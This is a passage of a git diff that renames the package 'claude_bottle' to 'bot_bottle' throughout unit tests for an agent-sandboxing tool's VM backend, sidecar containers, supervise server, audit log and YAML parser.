+ _supervise.provision_supervise(plan, "bot-bottle-demo-abc12") ex.assert_called_once() argv = ex.call_args.args[1] # `claude mcp add --scope user` writes to ~/.claude.json, @@ -589,14 +589,14 @@ class TestProvisionSupervise(unittest.TestCase): def test_non_zero_exit_logs_warning_but_does_not_raise(self): plan = _plan(supervise=True) with patch( - "claude_bottle.backend.smolmachines.provision.supervise._smolvm.machine_exec", + "bot_bottle.backend.smolmachines.provision.supervise._smolvm.machine_exec", return_value=SmolvmRunResult( returncode=1, stdout="", stderr="boom", ), ): # No raise — the bottle still works without the MCP # entry, so we log and move on. - _supervise.provision_supervise(plan, "claude-bottle-demo-abc12") + _supervise.provision_supervise(plan, "bot-bottle-demo-abc12") if __name__ == "__main__": diff --git a/tests/unit/test_smolmachines_pty_resize.py b/tests/unit/test_smolmachines_pty_resize.py index 6624674..4ddba6b 100644 --- a/tests/unit/test_smolmachines_pty_resize.py +++ b/tests/unit/test_smolmachines_pty_resize.py @@ -13,7 +13,7 @@ import unittest import unittest.mock from unittest.mock import patch -from claude_bottle.backend.smolmachines import pty_resize +from bot_bottle.backend.smolmachines import pty_resize class TestPushSize(unittest.TestCase): @@ -23,11 +23,11 @@ class TestPushSize(unittest.TestCase): # Per-PTY `stty -F ... 2>/dev/null` swallows EBADF when a # session has already exited. with patch.object(pty_resize.subprocess, "run") as run: - pty_resize._push_size("claude-bottle-m", 50, 200) + pty_resize._push_size("bot-bottle-m", 50, 200) argv = run.call_args.args[0] self.assertEqual( ["smolvm", "machine", "exec", "--name", - "claude-bottle-m", "--", "sh", "-c"], + "bot-bottle-m", "--", "sh", "-c"], argv[:8], ) # cols / rows land in the order stty wants them. @@ -42,7 +42,7 @@ class TestPushSize(unittest.TestCase): # PTY's FG-PG / input plumbing). DEVNULL stdin sidesteps # the interaction. with patch.object(pty_resize.subprocess, "run") as run: - pty_resize._push_size("claude-bottle-m", 24, 80) + pty_resize._push_size("bot-bottle-m", 24, 80) self.assertEqual( pty_resize.subprocess.DEVNULL, run.call_args.kwargs.get("stdin"), @@ -116,7 +116,7 @@ class TestMainArgvParsing(unittest.TestCase): def test_missing_separator_returns_error_exit_code(self): # No `--` between machine name and inner argv. with patch.object(pty_resize.sys, "stderr", new=io.StringIO()) as err: - rc = pty_resize.main(["claude-bottle-m", "smolvm", "machine"]) + rc = pty_resize.main(["bot-bottle-m", "smolvm", "machine"]) self.assertEqual(2, rc) self.assertIn("usage:", err.getvalue()) diff --git a/tests/unit/test_smolmachines_sidecar_bundle.py b/tests/unit/test_smolmachines_sidecar_bundle.py index 975387d..f913d23 100644 --- a/tests/unit/test_smolmachines_sidecar_bundle.py +++ b/tests/unit/test_smolmachines_sidecar_bundle.py @@ -11,7 +11,7 @@ import subprocess import unittest from unittest.mock import patch -from claude_bottle.backend.smolmachines.sidecar_bundle import ( +from bot_bottle.backend.smolmachines.sidecar_bundle import ( BundleLaunchSpec, bundle_container_name, bundle_network_name, @@ -37,7 +37,7 @@ def _fail(stderr: str = "boom") -> subprocess.CompletedProcess: def _spec(**kwargs) -> BundleLaunchSpec: defaults = dict( slug="demo-abc12", - network_name="claude-bottle-bundle-demo-abc12", + network_name="bot-bottle-bundle-demo-abc12", subnet="192.168.50.0/24", gateway="192.168.50.1", bundle_ip="192.168.50.2", @@ -49,10 +49,10 @@ def _spec(**kwargs) -> BundleLaunchSpec: class TestNamingHelpers(unittest.TestCase): def test_network_name_uses_bundle_prefix(self): # Distinct from the docker backend's - # `claude-bottle-net-` so two backends running the + # `bot-bottle-net-` so two backends running the # same agent slug don't collide. self.assertEqual( - "claude-bottle-bundle-myagent-xyz", + "bot-bottle-bundle-myagent-xyz", bundle_network_name("myagent-xyz"), ) @@ -61,7 +61,7 @@ class TestNamingHelpers(unittest.TestCase): # bundle container — dashboard prefix-discovery covers # both backends with one filter. self.assertEqual( - "claude-bottle-sidecars-myagent-xyz", + "bot-bottle-sidecars-myagent-xyz", bundle_container_name("myagent-xyz"), ) @@ -69,7 +69,7 @@ class TestNamingHelpers(unittest.TestCase): class TestNetworkLifecycle(unittest.TestCase): def _patch_run(self, **kwargs): return patch( - "claude_bottle.backend.smolmachines.sidecar_bundle.subprocess.run", + "bot_bottle.backend.smolmachines.sidecar_bundle.subprocess.run", **kwargs, ) @@ -108,7 +108,7 @@ class TestNetworkLifecycle(unittest.TestCase): class TestStartBundle(unittest.TestCase): def _patch_run(self): return patch( - "claude_bottle.backend.smolmachines.sidecar_bundle.subprocess.run", + "bot_bottle.backend.smolmachines.sidecar_bundle.subprocess.run", return_value=_ok(), ) @@ -118,7 +118,7 @@ class TestStartBundle(unittest.TestCase): argv = m.call_args.args[0] # --network NETNAME --ip on the docker run. self.assertIn("--network", argv) - self.assertIn("claude-bottle-bundle-demo-abc12", argv) + self.assertIn("bot-bottle-bundle-demo-abc12", argv) self.assertIn("--ip", argv) self.assertIn("192.168.50.2", argv) # Detached and auto-removed. @@ -126,9 +126,9 @@ class TestStartBundle(unittest.TestCase): self.assertIn("--rm", argv) # Container name uses the per-slug bundle prefix. i = argv.index("--name") - self.assertEqual("claude-bottle-sidecars-demo-abc12", argv[i + 1]) + self.assertEqual("bot-bottle-sidecars-demo-abc12", argv[i + 1]) # Image at the end. - self.assertEqual("claude-bottle-sidecars:latest", argv[-1]) + self.assertEqual("bot-bottle-sidecars:latest", argv[-1]) def test_daemons_env_passed_in(self): with self._patch_run() as m: @@ -136,7 +136,7 @@ class TestStartBundle(unittest.TestCase): argv = m.call_args.args[0] self.assertIn("-e", argv) self.assertIn( - "CLAUDE_BOTTLE_SIDECAR_DAEMONS=egress,pipelock,supervise", + "BOT_BOTTLE_SIDECAR_DAEMONS=egress,pipelock,supervise", argv, ) @@ -164,7 +164,7 @@ class TestStartBundle(unittest.TestCase): def test_failure_dies(self): with patch( - "claude_bottle.backend.smolmachines.sidecar_bundle.subprocess.run", + "bot_bottle.backend.smolmachines.sidecar_bundle.subprocess.run", return_value=_fail("invalid mount"), ): with self.assertRaises(SystemExit): @@ -175,7 +175,7 @@ class TestStartBundle(unittest.TestCase): # subprocess being run with the host env. Confirm `env=` # threads through. with patch( - "claude_bottle.backend.smolmachines.sidecar_bundle.subprocess.run", + "bot_bottle.backend.smolmachines.sidecar_bundle.subprocess.run", return_value=_ok(), ) as m: start_bundle(_spec(), env={"FOO": "bar"}) @@ -185,7 +185,7 @@ class TestStartBundle(unittest.TestCase): class TestStopBundle(unittest.TestCase): def _patch_run(self, **kwargs): return patch( - "claude_bottle.backend.smolmachines.sidecar_bundle.subprocess.run", + "bot_bottle.backend.smolmachines.sidecar_bundle.subprocess.run", **kwargs, ) @@ -193,13 +193,13 @@ class TestStopBundle(unittest.TestCase): with self._patch_run(return_value=_ok()) as m: stop_bundle("demo-abc12") self.assertEqual( - ["docker", "rm", "-f", "claude-bottle-sidecars-demo-abc12"], + ["docker", "rm", "-f", "bot-bottle-sidecars-demo-abc12"], m.call_args.args[0], ) def test_missing_container_is_idempotent(self): with self._patch_run(return_value=_fail( - "Error: No such container: claude-bottle-sidecars-demo-abc12" + "Error: No such container: bot-bottle-sidecars-demo-abc12" )): stop_bundle("demo-abc12") # no raise diff --git a/tests/unit/test_smolmachines_smolvm.py b/tests/unit/test_smolmachines_smolvm.py index b8ef49a..37add1d 100644 --- a/tests/unit/test_smolmachines_smolvm.py +++ b/tests/unit/test_smolmachines_smolvm.py @@ -12,7 +12,7 @@ import unittest from pathlib import Path from unittest.mock import patch -from claude_bottle.backend.smolmachines.smolvm import ( +from bot_bottle.backend.smolmachines.smolvm import ( SmolvmError, SmolvmRunResult, is_available, @@ -46,17 +46,17 @@ class TestArgvShapes(unittest.TestCase): def _patch_run(self): return patch( - "claude_bottle.backend.smolmachines.smolvm.subprocess.run", + "bot_bottle.backend.smolmachines.smolvm.subprocess.run", return_value=_ok(), ) def test_pack_create_argv(self): with self._patch_run() as m: - pack_create("claude-bottle:latest", Path("/tmp/agent.smolmachine")) + pack_create("bot-bottle-claude:latest", Path("/tmp/agent.smolmachine")) argv = m.call_args.args[0] self.assertEqual( ["smolvm", "pack", "create", - "--image", "claude-bottle:latest", + "--image", "bot-bottle-claude:latest", "-o", "/tmp/agent.smolmachine"], argv, ) @@ -175,7 +175,7 @@ class TestErrorPath(unittest.TestCase): def test_create_failure_raises(self): with patch( - "claude_bottle.backend.smolmachines.smolvm.subprocess.run", + "bot_bottle.backend.smolmachines.smolvm.subprocess.run", return_value=_fail("no such image"), ): with self.assertRaises(SmolvmError) as cm: @@ -185,7 +185,7 @@ class TestErrorPath(unittest.TestCase): def test_pack_create_failure_raises(self): with patch( - "claude_bottle.backend.smolmachines.smolvm.subprocess.run", + "bot_bottle.backend.smolmachines.smolvm.subprocess.run", return_value=_fail("pack failed"), ): with self.assertRaises(SmolvmError): @@ -195,7 +195,7 @@ class TestErrorPath(unittest.TestCase): # The in-VM command's exit code is what Bottle.exec sees; # `false` exiting non-zero is not a smolvm failure. with patch( - "claude_bottle.backend.smolmachines.smolvm.subprocess.run", + "bot_bottle.backend.smolmachines.smolvm.subprocess.run", return_value=subprocess.CompletedProcess( args=[], returncode=42, stdout="", stderr="nope", ), @@ -207,14 +207,14 @@ class TestErrorPath(unittest.TestCase): class TestIsAvailable(unittest.TestCase): def test_true_when_on_path(self): with patch( - "claude_bottle.backend.smolmachines.smolvm.shutil.which", + "bot_bottle.backend.smolmachines.smolvm.shutil.which", return_value="/usr/local/bin/smolvm", ): self.assertTrue(is_available()) def test_false_when_missing(self): with patch( - "claude_bottle.backend.smolmachines.smolvm.shutil.which", + "bot_bottle.backend.smolmachines.smolvm.shutil.which", return_value=None, ): self.assertFalse(is_available()) diff --git a/tests/unit/test_smolmachines_util.py b/tests/unit/test_smolmachines_util.py index 21301b6..89f31a0 100644 --- a/tests/unit/test_smolmachines_util.py +++ b/tests/unit/test_smolmachines_util.py @@ -5,7 +5,7 @@ from __future__ import annotations import unittest from unittest.mock import patch -from claude_bottle.backend.smolmachines.util import ( +from bot_bottle.backend.smolmachines.util import ( smolmachines_bundle_subnet, smolmachines_preflight, ) @@ -57,14 +57,14 @@ class TestBundleSubnet(unittest.TestCase): class TestPreflight(unittest.TestCase): def test_smolvm_present_returns_none(self): with patch( - "claude_bottle.backend.smolmachines.util.shutil.which", + "bot_bottle.backend.smolmachines.util.shutil.which", return_value="/usr/local/bin/smolvm", ): self.assertIsNone(smolmachines_preflight()) def test_missing_smolvm_dies(self): with patch( - "claude_bottle.backend.smolmachines.util.shutil.which", + "bot_bottle.backend.smolmachines.util.shutil.which", return_value=None, ): with self.assertRaises(SystemExit) as cm: @@ -75,7 +75,7 @@ class TestPreflight(unittest.TestCase): import io import sys with patch( - "claude_bottle.backend.smolmachines.util.shutil.which", + "bot_bottle.backend.smolmachines.util.shutil.which", return_value=None, ): captured = io.StringIO() diff --git a/tests/unit/test_supervise.py b/tests/unit/test_supervise.py index d344098..8f71225 100644 --- a/tests/unit/test_supervise.py +++ b/tests/unit/test_supervise.py @@ -8,8 +8,8 @@ import unittest from datetime import datetime, timezone from pathlib import Path -from claude_bottle import supervise -from claude_bottle.supervise import ( +from bot_bottle import supervise +from bot_bottle.supervise import ( AuditEntry, Proposal, Response, @@ -108,7 +108,7 @@ class TestResponseRoundtrip(unittest.TestCase): class TestQueueIO(unittest.TestCase): def setUp(self): - self._tmp = tempfile.TemporaryDirectory(prefix="claude-bottle-supervise-test.") + self._tmp = tempfile.TemporaryDirectory(prefix="bot-bottle-supervise-test.") self.queue_dir = Path(self._tmp.name) def tearDown(self): @@ -207,7 +207,7 @@ class TestQueueIO(unittest.TestCase): class TestAuditLog(unittest.TestCase): def setUp(self): - self._tmp = tempfile.TemporaryDirectory(prefix="claude-bottle-supervise-audit.") + self._tmp = tempfile.TemporaryDirectory(prefix="bot-bottle-supervise-audit.") self._home_patch = self._patch_home(Path(self._tmp.name)) def tearDown(self): @@ -215,13 +215,13 @@ class TestAuditLog(unittest.TestCase): self._tmp.cleanup() def _patch_home(self, fake_home: Path): - original = supervise.claude_bottle_root + original = supervise.bot_bottle_root def fake_root() -> Path: - return fake_home / ".claude-bottle" + return fake_home / ".bot-bottle" - supervise.claude_bottle_root = fake_root # type: ignore[assignment] - return lambda: setattr(supervise, "claude_bottle_root", original) + supervise.bot_bottle_root = fake_root # type: ignore[assignment] + return lambda: setattr(supervise, "bot_bottle_root", original) def test_write_then_read_single_entry(self): e = AuditEntry( @@ -351,13 +351,13 @@ class TestSupervisePrepare(unittest.TestCase): self._tmp.cleanup() def _patch_home(self, fake_home: Path): - original = supervise.claude_bottle_root + original = supervise.bot_bottle_root def fake_root() -> Path: - return fake_home / ".claude-bottle" + return fake_home / ".bot-bottle" - supervise.claude_bottle_root = fake_root # type: ignore[assignment] - return lambda: setattr(supervise, "claude_bottle_root", original) + supervise.bot_bottle_root = fake_root # type: ignore[assignment] + return lambda: setattr(supervise, "bot_bottle_root", original) def test_prepare_creates_queue_and_current_config(self): plan = _StubSupervise().prepare( diff --git a/tests/unit/test_supervise_server.py b/tests/unit/test_supervise_server.py index 1c376b0..af6cd22 100644 --- a/tests/unit/test_supervise_server.py +++ b/tests/unit/test_supervise_server.py @@ -12,13 +12,13 @@ from pathlib import Path # The server module loads `supervise` via same-directory import inside # the container (Dockerfile.supervise WORKDIRs into /app). For tests -# we mirror that by injecting claude_bottle/ onto sys.path under the +# we mirror that by injecting bot_bottle/ onto sys.path under the # bare name `supervise`. -sys.path.insert(0, str(Path(__file__).resolve().parent.parent.parent / "claude_bottle")) +sys.path.insert(0, str(Path(__file__).resolve().parent.parent.parent / "bot_bottle")) import supervise as _sv # noqa: E402 -from claude_bottle import supervise_server # noqa: E402 -from claude_bottle.supervise_server import ( +from bot_bottle import supervise_server # noqa: E402 +from bot_bottle.supervise_server import ( ERR_INVALID_PARAMS, ERR_INVALID_REQUEST, ERR_METHOD_NOT_FOUND, @@ -152,7 +152,7 @@ class TestHandleInitialize(unittest.TestCase): self.assertEqual("2024-11-05", result["protocolVersion"]) self.assertIn("tools", result["capabilities"]) # type: ignore[index] self.assertEqual( - "claude-bottle-supervise", + "bot-bottle-supervise", result["serverInfo"]["name"], # type: ignore[index] ) diff --git a/tests/unit/test_yaml_subset.py b/tests/unit/test_yaml_subset.py index c813b4f..4ab200b 100644 --- a/tests/unit/test_yaml_subset.py +++ b/tests/unit/test_yaml_subset.py @@ -5,8 +5,8 @@ actually use, and every rejection case the PRD enumerates.""" import textwrap import unittest -from claude_bottle.yaml_subset import YamlSubsetError -from claude_bottle.yaml_subset import parse_frontmatter, parse_yaml_subset +from bot_bottle.yaml_subset import YamlSubsetError +from bot_bottle.yaml_subset import parse_frontmatter, parse_yaml_subset def _y(s: str): @@ -174,7 +174,7 @@ class TestBlockList(unittest.TestCase): def test_list_item_with_inline_list_value(self): # role: [git-insteadof, tea-login] — the exact shape in the - # claude-bottle manifest. + # bot-bottle manifest. out = _y(""" routes: - path: /x/ @@ -267,7 +267,7 @@ class TestRealisticBottleFile(unittest.TestCase): git: remotes: gitea.dideric.is: - Name: claude-bottle + Name: bot-bottle Upstream: ssh://git@gitea.dideric.is:30009/x/y.git IdentityFile: ~/.ssh/gitea.pem ExtraHosts: